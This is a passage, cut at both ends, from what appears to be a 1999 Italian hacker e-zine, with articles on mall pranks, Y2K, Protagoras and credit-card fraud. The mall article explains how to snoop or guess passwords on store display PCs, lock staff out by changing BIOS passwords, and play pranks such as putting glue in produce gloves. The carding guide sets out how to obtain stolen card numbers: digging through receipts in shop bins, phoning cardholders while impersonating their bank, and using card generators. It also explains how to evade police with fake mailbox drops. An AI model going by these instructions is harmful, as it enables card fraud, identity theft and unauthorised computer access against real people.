giocano in collina in un campo di forse 3 km) quando ho iniziato... quando ho finito stanno facendo "Sei un bravo pescatore, Sakura" o qualkosa di simile... ----------------------------------------------------------------------------- Enjoy Auchan and IperCoop e roba varia cARISS... O KAZZ... Scusate avevo lasciato il caps lock premuto... capita! Allora dove eravamo rimasti? Mi pare ke stavamo parlando delle tette vero? Ah no! Carissimi accaniti lettori di Newbies, ho scritto questo articolo informativo per raccontarvi, dopo lunghissime esperienze, come divertirsi nei grandi magazzini come l'Auchan e l'IperCoop, mega-mercati che credo ce ne siano in tutta l'Italia!!! ----------------------------------------------------------------------------- Bene, i vostri carissimi genitori vi hanno convinto (o costretto) a seguirli al centro per andare in un Mega-Iper-Mercato... non scoraggiatevi potete divertirti un mondo! Come? Continuate a leggere... -Computer Parte 1 Di solito, in ogni IperMercato ke si rispetti c' una sezione dedicata all'informatica, con dei computer esposti e accesi, e talvolta dotati di modem e connessione ad Internet... Bene bene... per la maggior parte dei casi i rivenditori hanno attivato lo screen saver ai pc... con relativa password di protezione... oppure il computer pu trovarsi ancora in partenza con l'attesa della password del bios. Oki, per prima cosa bisogna sapere che chi si okkupa dei pc non un tecnico ma bensi un rivenditore coglione, quindi se ha messo lui una password, deve pur essergli famigliare, visto la ridotta capacit mentale, e molte volte la pass coincide con il proprio nome. Allora voi chiedete informazioni ad un assistente l vicino per spiare il cartellino di riconoscimento che porta nel taschino della camicia... oki, ora avete dei dati... provate a immettere il nome o il cognome o tutti e due del coglione di turno... alla pass dello screen saver non va bene? No problem, resettate il pc col tastino sulla case e aspettate la pass del bios... se neanche quella pass va bene, non scoraggiatevi... aspettate l vicino... sicuramente un interessato al pc si fermer e vorr vedere il pc... l'assistente demente digiter la pass e voi spierete bene bene cosa digita... naturalmente dopo per non dare nell'occhio direte indicando SOLO il monitor: "Questo un computer Windows98??? Il mio amico ha un computer Windows95...", attenzione a non dire "Questo solo il monitor e questo un pc con un sistema operativo quale MicroSoft Windows95". Bene ora avendo una pass vi allontanate per un po'... *Aspettate la parte seconda per sapere cosa fare dopo...* -Scherzetti vari Vi allontanate dall'area informatica... e vedete un pervertito travestito da cellulare della OmniTel che regala cappellini e che respira affannosamente... un classico... bene prima di tutto vedete di procurarvi un largo pezzo di carta (io di solito strappo dei quaderni), un bel pennarello (chiss perk se aprite un astuccio per penne sempre incompleto...) e un pezzo di scotch (ancke quello facilmente trafugabile nell'area cartoleria...). Ora, il pervertito OmniTel, non pu accorgersi facilmente di ci che gli viene appicicato nella parte toracica e in quella della schiena... bene scrivete qualcosa tipo "Calciatemi", "Sono un pervertito",... e perparate lo scotch attaccandolo un p sul pezzo di carta... fate finta di inciampare oppure di allacciarvi un laccio della scarpa oppure ancora di toccare il mentecatto per colpa della confusione e attaccategli il foglio di carta o sulla schiena o sul torace... un bell'effetto se ci scrivete "Attenti! Non avvicinate i bambini" o meglio ancora se dietro c'ha scritto "Persone in grado di cambiare il mondo" e voi ci mettete "...in peggio!!!". Non vi siete ancora divertiti abbastanza??? Oki, trafugate ora un po' di colla tipo "Attak" o comunque trasparente (non come quella vinilica). Bene andate nel reparto ortofrutticolo... di solito ci sono dei guanti fatti di polietilene trasparente, ke si indossano per prendere la verdura o la frutta. Ora prendetene un paio e metteteci dentro un po' di Attak... e riponeteli con cura... Ora tornate al reparto informatica... -Computer Parte 2 Vi avvicinate disinvolti al pc, inserite la pass... la primissima cosa che dovete fare cambiare screen saver con un altra pass... poi rimettere il pc con lo screen saver e pensate bene cosa fare... io di solito aspetto che... *Per sapere cosa faccio io dopo di solito dovete leggere la prossima* *sezione...* -Oh, poveri dementi... La cosa ke odio di pi quando mi trovo vicino ai pc ad un grande magazzino un'orda di dementi e mentacatti, quali bambocci e adulti, che si avvicina ai pc o per fottere (rimanendo fottuti) o per dire cavololate... -Primo caso - I lussiriosi Si avvicina al pc un grossiccio, lardiccio, nutelliccio, caramelliccio, sudaticcio, appiccicaticcio di bambino con un seguito di altri bambocci... il leader escalama: "Un computer! Andiamo a giocare ai videogiochi!!!" Che cazzo di gioco vorresti trovare su di un Hard Disk quasi vuoto con il solo sistema operativo??? Razza di coglione, l'unico gioco presente su quel HD che sfrutta tutti i 16,8 milioni di colori di una scheda grafica ke si rispetti CampoMinato della MicroSoft!!! E allora giocaci fetente!!! -Secondo caso - Gli esaltati Si avvicina al pc una coppietta di fidanzatini... il ragazzo esclama dopo aver visto di non conoscere la pass dello screen saver: "Vedi cara, qui hanno messo un protezione con la PAROLA CHIAVE... se conoscessimo il CODICE D'ACCESSO potremo entrare nella BANCA DATI della BANCA ITALIANA...e farci un nostro conto con un MILIARDO... " e la dolce donzella ancora pi demente del ragazzo: "Oh, caro tu si ke sai tutto!" Sai tutto? Sai tutto un corno! Brutto esaltato mentale che non sei altro, schifoso merdoso ti sei visto forse troppo War Games degli anni '80??? E tu altra mentecatta, non vedi che stai affianco ad un sparaballe a pagamento??? Andate a farvi fottere tutti quanti... -Terzo caso - I fetenti Si avvicina al pc un'altra orda di ragazzi... pi grandi dei precedenti ma non meno dementi... il pi cretino dice ad un altro: "Ora mettiamo la pass e inseriamo un virus!!! AHAHAH!!! E dopo facciamo partire un gioco!!!". L'altro forse un po'meno esaltato gli risponde: "Dove lo trovi il virus? E il gioco?". Il fetentone gli dice allora: "Il virus c' lo da Window (da notare ke io non ho dimenticato la 's' finale)! Noi copiamo un file in un dischetto e allora si infetta con il virus, e sul dischetto esce un MARCHIO... E per il gioco io ne ho scoperti tanti nel mio computer!!! Sopprattutto nella directory 'C:\giochi\'... e dopo li PROGRAMMIAMO in un dischetto... forse c' dentro DOOM II, un gioco bellissimo che 3D..." Come? Come? Cosa vuoi fare tu? Vuoi mettere un virus nel computer? Ed esce un marchio sul dischetto??? E i giochi tu li scopri nella cartella 'giochi'??? E poi vuoi "programmare" un gioco come DOOM II su di un solo dischetto??? Ma insomma che KAZZO STAI DICENDO??? Sbaglio o sei un deviato mentale??? Hai avuto un infanzia crudele a quanto vedo... -Quarto caso - I violenti Si avvicinano al pc dei bambini sui 10 anni circa... con loro c' anke un bimbo sugli 6 anni (qui bisogna leggere con sguardo pieno di tenerezza) che, biricchino, con una mano stringe quella del fratello pi grande e con l'altra si diverte a darsi scossette ripetute, interponendo la punta della lingua tra i due poli di una batteria a 9 volt, oggetto per lui, di culto e anche sadomaso... (contento lui...) cosa ci vuoi fare... sono cos dolci i bimbi... (e qui potete terminare di fare lo sguardo pieno di tenerezza...). I bambini pi grandi cominciano a invadere la tastiera premendo quanti pi possibili tasti, e nel frattempo usano il mouse come attrezzo per colpire il compagno di giochi... c' anche chi si diletta ad aprire e chiudere il lettore del CD-Rom, mentre il monitor, lentamente ma inesorabilmente, comincia a dondolare pericolosamente... pian piano il pc viene assalito e divorato dai malefici bambini... per esso non esiste pi speranza... rabbrividiamo... Dopo aver concluso il loro rito satanico, i bambini lentamente scompaiono... del povero computer non rimasto molto... -Computer Parte 3 Bene, dopo aver cacciato la gente indesiderata, mettiamo la nostra pass allo screen saver e vediamo cosa ci offre il pc... di solito un pc dei tanti esposti ha una connessione ad Internet... bene non ci resta ke accertarcene e vedere se gli zoticoni di rivenditori hanno lasciato la scelta "Salva password"... se non attivata l'opzione allora non ci resta ke aspettare e vedere bene quando si connette qualcuno ke conosce la pass... potete sempre farvi un giro nell'hard disk per scovare un fantomatico "pass e user per la connessione ad internet.txt" per avere tutti i dati per poter avere l'accesso... Se siete cattivi potete sempre lasciare un bello sfondo con scritto: "Vi sar difficile indovinare la pass del bios... fottetevi..." naturalmente cambiare la supervisor password del bios opzionale, potete far anche solo spaventare il rivenditore... io personalente lascio sempre o dei file HTML scritti sul momento o txt con tante stronzate... ma divertente anke lasciare dei bei screen saver con testo scorrevole tipo: "mR_bIs0n vi ha fottuto il pc... siete tutti dei dementi perversi..." o se magari l c' una bella ragazza con due poppe grandi come due angurie: "Ei tu, si proprio tu ke stai leggendo vorresti conoscere un bel ragazzo tipo Brad Pitt? Bene io non lo sono... sono meglio!!!!"( e questo smentisce ke tutti gli smanettoni ai pc siano dei buffi tipi col camice bianco, un paio di occhiali con lenti tipo culo di bottiglia...)e poi entrate nel pc come dei veri padroni... forse capir che quello meglio di Brad Pitt siete voi e vi far, forse e sempre forse, qualche domanda... (a me successo, ma l'intento della ragazza era quello di sentirsi gli mp3 ke c'erano nell'hard disk... uuhuh non sono meglio di Brad...) sperate anke ke in quel preciso momento non passi di l una bruttona, grassona, ecc.. ed allora scappate... Comunque gli usi sono tantissimissimissimissimi... fate ci ke vi pare... ----------------------------------------------------------------------------- Conclusione e saluti vari Ahhh finalmente finito!!! Ke pakkia non ho nemmeno compiti da fare... ohh aspe'ho da fare Latino... vabb comunque... poi si copia in classe... Vorrei dirvi ke se troverete degli errori o delle cose ke secondo voi non sono giuste, NON ME NE FOTTE UN CAZZO... :)) scherzo! Vorrei salutare le seguenti persone con tanto di commenti: Mr_Skull: un caro amico ke mi spiega tante cose utili tipo lavarsi le mani dopo essere andato al cesso e roba simile... ah anke perk spesso non mi dice ke abbiamo compiti da fare per casa... cos ho la scusante con la prof... Pankrazio: vekkio amico di lamerate quando eravamo ancora allo stato primordiale... CIAO e vacci piano con la gente... ehehe Amicus: un gran bravo ragazzo (mi scappa da ridere... basta non dico altro... chiedete a Skull...) la Sandra: ke continua sempre ad andersene in giro con Francesco (dovr detonarlo un giorno o l'altro...) e non con me... ARGHHHHHH la Federica: ke alla fine si akkorger di essere troppo piccola per il suo ragazzo... la Daniela: ke spero cambi testa... ed comunque carina e simpatica il Davide: ke mi fa scoppiare dal ridere... buazbuazbuaz lu Peppu: ke tira sempre botte e fa il prepotentone... una ragazza ke mi guarda e sorride ogni volta ke esko da scuola: ciao carina! Dedicato a: tutte le belle ragazze ke konosco e ke stanno leggendo qui!!! mR_bIs0n mr_bison@libero.it ͻ Ŀ BREVE RIFLESSIONE SUL MILLENIUM BUG... ٺ ͼ Autore: cod Data: 19/09/1999 (altrimenti non passo il millenium bug...) Argomento trattato: Breve riflessione sul millenium bug... Ok... scrivo questo articolo solo per dare un'idea un p chiara su questa storia... so che l'argomento pompato alla Tivi come dice Homer Simpson ma sinceramente dicono solo cazzate celestiali.... Come molti di voi sanno, in particolar modo quelli che all'inizio degli anni '90 avevano la fortuna di possedere un PC la memoria di massa aveva un costo a dir poco esagerato... ricordo che nel 1993 una confezione di floppy disk da 1.44Mb non formattati targati come Olivetti qui nella zona di Vibo Valentia aveva un costo non indifferente di circa 40.000 lire! Software quali il Pkzip, Arj, Rar e compagnia bella erano come la manna caduta dal cielo.. grazie a loro si riusciva a risparmiare quantit a dir poco straordinarie per la memorizzazione di dati.. ma prima di essi cosa esisteva ? niente di speciale... I primi programmatori... quelli che lavoravano su mainframe e su server... dove i costi delle macchine erano a dir poco eccessive erano costretti a tener conto della questione soldi... uno dei processori che ha dato il via alla gloriosa serie 86 il vecchio 8080 e l'8085 erano capaci di indirizzare la grossa quantit di un kilobyte di memoria !!! AVETE CAPITO BENE.... manco CONFIG.SYS ed AUTOEXEC.BAT starebbero in quella quantit di memoria... Il costo della ram non era indifferente (1 Mb = 100.000) e lo stesso per quello dei dischi fissi introdotti con la diffusione di ms dos 2 e successivi (ms dos 3.3 !!). Ora voi immaginate di essere un programmatore.. costretto a dover tener conto di questo fattore... e dovete scrivere un software per la gestione della contabilit di una banca... dove incominciamo a tagliare ? Di sicuro non nelle cifre del c/c ma bens in quelle noiose e ripetive date.... ma dove di preciso ? si l.... nel secolo! Quindi la data 3 marzo 1985 poteva essere memorizzata come 030385 e codificati in cifre binarie in ben 3 byte... !! Ora dove sta il problema sul mio pc ? Che cosa mi significa che Windows pronto all'anno 2000.... che i programmi che acquisto sono certificati per l'anno 2000 ? Che quei stupidi programmatori che hanno scritto il software fino al 1998 si sono resi conto che era ora di abbandonare quella stupida codifica altrimenti si andava incontro a guai seri! e soprattutto che l'hd di un utente non 20 megabyte ma bens almeno 2.5 gigabyte. Principalmente i nostri PC non credo che ne risentano di molto... in quanto la memoria CMOS, ovvero la memoria dove l'ora e la data vengono aggiornate anche quando il vostro PC spento sono state progettate per contenere date fino al 2100... per anche qui si pone un problema... tutti i sviluppatori dei bios si sono impigriti pure loro e qualche bios non scrive manco il secolo.... ma lasciamo stare che questa un'altra storia.. Ammenocch voi non siate utenti di un software di va a vedere quale anno (cazzo.... la consulente commerciale qui ha un programma dell'86... mo altro che dichiarazioni dei redditi qui faranno.... il macello succede!) sia stato scritto.... non vi dovreste porre chiss quale problema... Personalmente credo che si debbano preoccupare gli utenti di alcuni programmi di Lotto .... ma oramai quasi tutti sono programmati a gestire correttamente anche il secolo.... e gli utenti dei software scritti in linguaggio COBOL (mo mi spiego perch 2 anni fa c'era una ricerca particolare di programmatori di questo linguaggio...) ma questo sar a dir poco un ostacolo brutto.... gi per il fatto che il COBOL non che sia tanto usato... poche persone ancora lo usano e sopratutto da parecchio tempo che non escono nuovi compilatori o interpreti per tale linguaggio..... Chi si deve preoccupare non siete voi come tutti vi fanno credere... ma bens gli organi quali le banche, l'INPS, l'ufficio comunale.... so che sono collegati alla vita delle persone e bench si dica che il sistema bancario possa andare in tilt chi non ci dice che possa automaticamente accreditarci interessi all'infinito ? .... sarebbe bello ricevere a gennaio dopo le feste (e dopo tutti quei soldi sprecati per dare il benvenuto al nuovo millennio) l'estratto conto della banca con su scritto EURO 100.000.000 di interessi!!!! E' nell'interesse degli organi correggere questo problema... in quanto voi potrete dimostrare facilmente che i soldi erano quelli e sono quelli mentre la banca come lo spiega il fatto degli interessi ? Fate sonni tranquilli.. e se sentite alla TV cazzate del genere.... semmai compare il numero di telefono chiamateli e mandateli a fanculo da parte mia :) Questa storia ha fatto solo un casino infernale... ma non mi sono mai preoccupato.. e un'altra cosa.... non comprate quei programmi scemi che vi dicono se il vostro software compatibile all'anno 2000... tanto i programmatori bastardi nel 2001 incominciano a tagliare di nuovo le cifre :) con le conseguenze che i vostri nipoti vi verrano a tirare fuori dalla tomba x farvela pagare.... PER QUALSIASI COMMENTO... RIFLESSIONE... STRONZATA... la mia mail a vostro disposizione: cod@gurlmail.com Se ho detto qualche cazzata non me ne vogliate a male... ma alla fine dei conti ho pi ragione io che quel coglione che presenta il telegiornale. Ringrazio tutti i giornalisti che sparano cazzate.. ottimo spunto x una cazzata e tutti coloro che troveranno questo breve articolo interessante e soprattutto nobody se pubblicher questa cazzata.... Un grosso saluto ai ragazzi e ragazze che frequentano l'ITC di VV... auguri di buon anno scolastico da quello che non conosce nessuno! ciao ;) (TENTATIVO DI CORRUZZIONE.... :) P.S. Questo non c'entra... se siete programmatori e se pensate di memorizzare la vostra data in 2 byte abbiate la volont di usare dati di tipo unsigned.. altrimenti fra 30000 anni circa dovrete riaggiornare il software ;) ͻ Ŀ PROTAGORA RULEZZA !!! ٺ ͼ Titolo: l'articolo precedente era troppo serioso cosi' ho deciso di scriverne un altro un po' meno serio...ma sempre importante! Ihihihii....incominciamo bene...uno dei titoli + lunghi della storia delle e-zine ( :PP ).....cmq 'sto articolozzo si presenterebbe come un articolo di hacker philosophy o anche come un articolo di storia in realta' non e' proprio un bel caxxo se non una serie di parole senza senso messe una dietro l'altra...(che caxxo lo scrivo a fare ???boh) **Pausa...e' Sabato sera...21:47...devo uscire i miei amici mi aspettano gia' da mezz'ora...porc'** **Notte pazza** *Ubriaco fradicio* (chi ha detto che gli hackers stanno sempre a casa vicino al comp. e si sparano pippe dalla mattina alla sera..???)(...io non sono un hacker quindi non devo essere preso in considerazione...) *Mattina* *Mal di testa modello martello pneumatico* Porc'....e' l'1:41...appena svegliato.....porca miseriaccia ho un mal di testa da cavallo...i cavalli hanno il mal di testa ???bah.... vabbe'.....scriviamo 'sto azz di articolo.... Th|5 4rT I5 DeD 2: Vito...per favore hackati il Coma...torna tra noi fratello...plz.... :( Pollicina....grazie degli splendidi 4 giorni passati insieme... Th|5 ArT i$ Vs-d3d t0: Nin zo....in questo momento non ho nessuno sulle palle..boh...poi scrivo qualke caxxata... :Ppp Questo articolo vi servira', spero, a capire che per essere hacker non c'e' bisogno di saper usare bene una tastiera un mouse o caxxate del genere, hacker si nasce...si e' dentro..... Nessuno di voi a scuola ha mai studiato i sofisti ??? Bene ve ne era uno in particolare di nome Protagora....beh...penso che costui sia stato uno dei primi hacker della storia del mondo...sentite un po' che bell'esempio di social engeneering : Protagora aveva una scuola in cui ai suoi allievi insegnava la retorica, bene questa scuola era molto cara e quindi un giorno un suo discepolo di nome Evatlo gli disse: Evatlo- O Protagora, brutto figlio di una cagnaccia lebbrosa in calore... perche' mai dovrei pagarti ora ?? Solo quando saro' riuscito a vincere il mio primo processo e solo allora ti paghero'. Protagora non si scompose....fece un lungo respiro e poi disse: Protagora-Caro Evatlo, tu non hai scampo, giacche' io ti cito subito in giudizio: se i magistrati ti daranno torto, mi dovrai pagare perche' hai perso, se ti daranno ragione mi dovrai pagare perche' hai vinto! Brutto figlio di una vaccaccia lorda rotolatasi in uno sterco di cavallo !...(quest'ultima parte l'ho aggiunta io :Pp) Ecco.....questo penso sia uno delle prime testimonianze scritte in cui l'inteligenza l'astuzia ed il modo di parlare ingegnoso si siano combinati per fregare un'altra persona :Pp PLZ...fatemi un favore...fate attenzione a non classificare come LAMER i neo-newbie...o neo-wannabe....se vi fanno domande stupide...e' solo perche' vogliono imparare....certo non per questo sono autorizzati a farvi 3000 Qps (questions per second).....dobbiamo campare anche noi ! Vabbu'......terminiamo 'sto articolo che mi sono gia' rotto....salutatemi tutte le vostre rispettose madri...e fatevelo scannerizzare e/o eventualmente masterizzare da un toro sordo in corsa vestito da Zorro che balla la samba sul tavolo dell'osteria di cui era padrone il matador...Ciaooooooooooo _______ <----Dantino----> <----Alighieri----> ^^^^^^^^^ XaRaBaS "DeaTh's ProDucTioNs" (c) PreSenTs...... ****************************************************************** * * * ____ * * | _ __ * * | _ | | |\ . |\ | | _ * * |____ |-| | \ |_\ | | \| |__| * * * * ______ * * | _ _ _ | * * | | | ___ | | | | . |_| | * * | |_| | |_| | \ | | | |___ * * * * * * -- Ovvero la guida del "Cardatore Italiano" :-) -- * * * * by * * * * \ / _ _ __ __ __ * * \/ _ | | _ |_| _ |__ |__| |__| * * /\ |-| | \ |-| |_| |-| ___| __| __| * * / \ * * * ****************************************************************** --- Indice 1) Cos'e' il Carding? 2) Come Riconoscere una carta di credito 3) Tradare carte di credito 4) Il Trashing 5) I Generatori di carte di credito 6) Cardare : Un arte! 7) Carding Pratiko ( finalmente dopo tutta sta merda di teoria! :-P ) ------ 1) Cos'e' il Carding? Salve, io sono XaRaBaS, un ragazzo che inizio' a smanettare con un compy a 6 anni ed ora si ritrova a scrivere cazzate su di un file txt.... :-) Beh con questa guida vorrei dare una mano a tutti quelli che mi hanno sempre fatto la stessa domanda: "Scusa mi dici come si carda"? Beh boyz, niente di + semplice.... certo non e' cosi' semplice, anzi mi correggo, e' facile farsi arrivare a casa della roba comprata online con cc, ma e' molto + complikato non farselo consegnare dalla GDF.... :-) Beh la mia passione naque per caso, quando x la prima volta in irc mi passarono una cc funziante ( per cc = credit card | per funziante = che funziona! N.d.X.) Dapprima mi sentii il re del mondo, ma poi kapii che bisognava stare attenti. Tutto quello che ho scritto qui e' tutto frutto dell'esperienza, e xcio' anche se scrivo kazzate non fateci caso... :-) ------ 2) Come Riconoscere una carta di credito Eh, si! Si fa presto a dire "carta di credito".... Bisogna prima esser consapevoli di cosa si parla. Intanto vi sono tanti tipi di carte di credito, le + usate nell' e-commerce (commercio elettronico) sono: - Visa - MasteCard - Carta Si' - American Express - Diners Club - DiscoverCard Ma quelle + usate in italia sono soprattutto Visa, MasterCard e Carta Si'. Ma Non e' finita qui! Ogni carta di credito, che puo' essere formata da 13 o 16 (+ comuni) cifre, viene accomunata ad un gruppo, riconoscendola dal prefisso, cioe' dalle prime 4 cifre. Poi vi sono carte che sono come degli equivalenti di grandi carte come la Mastercard. Ad esempio L'eurocard, e' accomunata alla mastercard. Se ne doveste avere una, quando cardate, dovete mettere "Mastercard" come tipo di carta, e confermando quello che prima ho detto, funziera' senza prob. Mentre x il cardatore Italiano nasce un piccolo problema: Infatti il prefisso della Visa si confonde con quello della Carta Si' in alcuni casi come questo: Visa : 4593 3991 0439 2394 Carta Si' : 4576 3892 9921 8311 Come potete Vedere I prefissi sono simili, come fare a riconoscere? Beh boyz, basta solo essere un po' + furbi del solito. Quando vi passano cc fatevi sempre dire che tipo di carte sono. Kmq, i prefissi variano da banca a banca di rilascio della carta, infatti, alla guida ho allegato 2 programmini simpatici: 1) GenCCard (un generatore di cc very nice) 2) GenerID (Un prog scritto da cavallo de cavallis, che crea personalita' false, comprendendo nelle info anche delle Carta Si' ottimo x cardare i servizi online. testato pesonalmente da me, e funzia!) 3) Card Master 4 (un ottimo generatore di cc, che contiene quasi tutti i prefix delle carte di credito americane, ottimo x conoscere le info di carte straniere che magari girano in irc). Beh sono tutti degli ottimi software. ------ 3) Tradare Carte di credito Okky Boyz, questo e' un argomento delicato , xcio' leggete questo capitolo con mooolta attenzione! Infatti, a meno che tu non abbia un negozio in cui puoi fare trashing tranquillamente, la via + semplice x ottenere cc, e' trovare un amico che ne e' in possesso e farsele passare. Ma bisogna Stare attenti! Xche' qualche persona, che magari voi ritenete amica e magari non lo e', vi puo' passare sia un fake (cc generata con un prog, e che magari non funge) o peggio ancora una CC rubata, che io ho soprannominato una "Ammazza Carder"... X questo, vi do un consiglio: quando possedete una cc, dovete prima provare e vedere se funge, magari acquistando un servizio online, cosi' potete avere la conferma e sapere se potete continuare ad usarla x qualsiasi vostro intento. In questo campo, come in tanti altri, gli errori si pagano con la galera. Un Certo "Yoda" che stava sul chan #cc di irc.tin.it, si riteneva bravo, ma adesso sta dietro le sbarre.. in effetti il fatto suo lo sapeva, ma stupidamente sbaglio', e dopo poco pago'. xcio' mi raccomando.. PRUDENZA! (a meno che voi non volgiate andare in galera.... ;-P) ------ 4) Il Trashing Cos'e' il trashing? Lo dice la parola stessa: Trash, dall'inglese "spazzatura", cioe' consiste nel cercare nei cestini della spazzatura dei negozi dove si acquista con cc, i fogliettini usati nella procedura di pagamento, dove sono scritte le informazioni a noi neccessarie, ma ne parleremo + avanti; Beh in questi foglietti, ci sono scritte le seguenti info: Cardholder / Utente della carta : MARIO BIANCHI Card Number / Numero della carta : 4566-7584-4821-2321 Expiration Date / Data di scadenza : 02/02 ---> (sta x 2002) In + troviamo anche il numero di telefono.... Beh ora dobbiamo servirci del Social Engeneering ovvero l' "Ingegneria Sociale". Beh starete pensando cosa kazzo puo' essere, beh vi diro': Bisogna in pratica telefonare a casa del carholder, facxendo finta di essere quello della visa o della mastercard, chiedendo, usando come scusa un guasto ai database, le informazioni riguardo l'indirizzo, e tutti i dati, cosiddetti "Billing", cioe' che sono nell'archivio della banca, che molto spesso x certi tipi di carding vengono richiesti. Beh fatto cio', noi otterremo, sempre se non si ci fa sgammare, una ottima cc! GooD LucK! ------ 5) I Generatori Di carte di credito Beh, guardate, vi diro', quando mi affaciai sulla scena rimasi deluso da questi programmini, ma dopo averne collaudati tanti, solo questi 3 si salvavano, cioe' quelli che sto allegando a questa guida, soprattutto il mitico "GenerID" di Cavallo de Cavallis. E' la migliore via x registrare servizi online. Beh state attenti ai fake! Usateli solo x registrare online vari servizi, altrimenti il pacco a casa vostra ve lo consegna la GDF... ATTENzIONE!!! ------ 6) Cardare : Un ARTE! Ragazzi, per cardare, oltre ad essere consapevoli, bisogna essere anche artisti! :-) Eh si, bisogna saper scegliere la tecnica giusta, avere inventiva, sopratutto quando bisogna colmare gli spazi riguardanti gli altri dati, e farli sembrare il + possibile veritieri.... ci vuole allenamento, ma scommetto che dopo aver letto sta guida, diventerete dei super-cardatori :-P Ma ora basta! Passiamo al carding pratiko! EVVAI ! VISA RULEZ! :-P ------ 7) Carding Pratiko!!! Beh ragazzi, e' giunto il moemento di agire! AUMENTA LA CRISI! AUMENTA IL CARDAGGIO eheh ;-) Beh i 2 punti deboli che possono fare sgammare nel cardaggio sono 2: - Il nostro IP - L'indirizzo dato x la spedizione Beh ragazzi, questi sono i nostri punti deboli, x il resto non ci sono prob nello sgammaggio.. Il primo problema puo' essere risolto, usando sia wingate che proxy (se non sapete usare un proxy o un wingate, leggetevi la mia guida sull'smtp! :-) cosi' che sarete protetti. Riguardo Al secondo problema, x risolverlo basta pensare "alla Poliziotta" seguendo il seguente schemino: - Voi Cardate Una Scheda Video - In Banca vengono addebitate 250.000 e' (nel caso fosse na Savage 4 della 3d Blaster ;-P) - Dovete Farlo arrivare a casa vostra o da qualsiasi altra parte. - Vi arriva a casa, e voi impazzite dalla gioia! - Il sig. Bianchi riceve il resoconto delle spese fatte con la sua cc. - Si accorge che mancano 250.000 e' all'appello. - Chiede Info alla banca. - La banca risponde dando le info circa il negozio dove e' stato fatto l'acquisto. - Il negozio, grazie alla legge della privacy non puo' dire niente. - Il sig. Bianchi si inkazza, e inizia una causa penale + denuncia di truffa aggravata (un bel po di anni) - Allora il negozio da i dati riguardanti la spedizione. - C'e' il nominativo vostro - Vi arriva a casa la GDF e vi porta con se. - Fine della Storia BoyZ questa non e' una bella storia, percio' vedete di non fare la stessa fine..... kmq come abbiamo detto prima se cardate servizi online, basta un wingate o un proxy x nascondere le tracce, ma x aggirare il 2 problema, esistono 2 tecniche, di cui 1 di mia invenzione; ---> La tecnica "del nome inesistente" ---> La tecnica "della cassetta" (da me inventata e ideata!) --->*************************************<--- --->* *<--- --->* La Tecnica *<--- --->* *<--- --->* "Del nome inesistente" *<--- --->* *<--- --->*************************************<--- Okky, questa boyz e' la tecnica + usata e anche quella + vecchia dai cardatori. E' di semplice concezione. In questo modo si puo' fare arrivare roba a casa propria senza essere sgammati. Fate l'ordine, e fate arrivare la roba a casa vostra usando un nome falso, ma mi raccomando attenzione: non fate l'errore di mettere un address come questo: " Franco Giunta, c/o IlVOSTROVERONOME, via ecc ecc. " xche' vi sgammano lo stessO! dovete usare un address come questo: " Franco Giunta , via Fankulo alla GDF, 2/a Roma 36722" Poi fate un etichetta da attaccare al citofono e alla cassetta delle lettere sopra quella vostra, beh, e siate sikuro che non vi sgammeranno mai. Naturalmente appena vi arriva la roba, staccate l'etichetta! :-) Per i nomi da mettere nell'etichetta, siate fantasiosi ma non troppo! Dovete mettere nomi magari comuni nella vostra citta' o provincia. C'e' un piccolo dettaglio da sottolineare: Se abitate in un condominio, o complesso residenziale, questa tecnica e' perfetta, ma se abitate in una casa singola o di campagna, beh vi conviene usare la tecnica della cassetta se ci tenete a non andare in galera...... ;-) Usando questa tecnica lo schemino di prima diverra' cosi': --> Il sig. Bianchi si inkazza --> LA GDF va all'indirizzo di spedizione ---| | Perde le vostre Tracce <-- Non trova l'indirizzo col nome "franco Giunta" <--| | |-> Siete Salvi ed avete una Savage a 32 Mb... hehehehehe --->*************************************<--- --->* *<--- --->* La Tecnica *<--- --->* *<--- --->* "Della Cassetta" *<--- --->* *<--- --->*************************************<--- Beh raga, in un momento di ispirazione, dopo aver incorporato litri e litri di vodka alla peska ehehehhe, ho inventato questa tecnica di carding, sicura + della tecnica precedente: Sopratutto se abitate in campagna. Dovete semplicemente comprarvi (azz, che sa da fa', x non andare in galera... eheh) una casetta delle lettere, di quelle che si pianta il palo e poi si ci attacca la cassetta, mettete come etichetta il nome che volete, e usatelo come recapito. Quando arriva l'avviso del pacco voi lo prendete, fate scomparire la cassetta, e andate tranquillamente a prendere il pacco alla posta. Niente di + semplice! e di + sikuro! Anche xche', la gdf va a cercare in una contrada questo tizio e non lo trovera' mai! E voi Vi godete quello che avete cardato! Vi dico che l'ho provata e collaudata, e funge benissimo solo un consiglio: si consiglia di piazzare la falsa cassetta della posta, all'inizio di una traversa, in modo che il postino la lascia senza insospettirsi, infatti la maggior parte delle volte sono cosi' pigri, che appena vedono una cassetta, si ci buttano e vi infilano quello che devono.... CHE STUPIDI! ehehheehhe KASSETTAZ RULEZ! ___________________________________________________________________________________________ Quindi ricapitoliamo con un semplicissimo schemino: Cardare / \ / \ Servizio Online Scheda Video / / \ / \ Wingate o Proxy / \ / \ | Abitazione Condominio \ | \ V | Cardamento | Abitazione Campagna V | | | tecnica "del nome inesistente" | V V Sikurezza assicurata | Tecnica della Cassetta \ | | | | V | V Cardamento V Vi godete quello che avete Cardato! | Cardamento / / \ / \ Sikurezza Assicurata \ MEGASIKUREZZA ASSIKURATA! | | | V | Vi godete quello che avete cardato! | V Vi godete il frutto del vostro cardamento! ______________________________________________________________________________ Okky ragazzi, spero di essere stato comprensibile, e spero che questa guida vi aiuti a non fare kazzate putroppo frequenti..... Beh alla proxima guida ciao-byez! XaRaBaS 1999 GreeTs Goes To: -----------------------------------------------------------------------------> ---> StOrM - Zipp0 - F4lc0n - Z10-K4li - Sephy - Rwxrw-r-x - XaNdEr16 - > ---> Oldiron61 - Nicoletta - N0bodY88 - Zcools - Devil_666 - Sk0rP|0 - > ---> ]Bug-Byte[ - TUTTI GLI AMICI DI HACKERNOW! > -----------------------------------------------------------------------------> ͻ Ŀ AMERICAN ON LINE (COME AVERE UN ABBONAMENTO GRATIS) ٺ ͼ Salve ragazzi in questi giorni mi e' capitato di avere alcune domande in chat su come avere un abbonamento ad AOL..... !! Innanzitutto spieghiamo cos'e' AOL. AOL (American On Line) e' un abbonamento per internet utilizzato dagli americani che sta' facendo concorrenza alla microsoft del nostro amicone Bill :):). Per caso sono venuto in mano di un articolo che spiega piu' o meno cosa sta' diventando AOL e la sua quasi supremazia sul WEB, cosi' ho deciso di scriverla qui' per farvi capire prima di poterlo utilizzare cosa sta' diventando AOL: Amercan On Line ha scatenato su tutti i continenti la prima guerra commerciale virtuale contro lassalto di Explorer nelle configurazioni dei personal computer venduti in tutto il pianeta, creando larca dellalleanza con la Sun. La torta 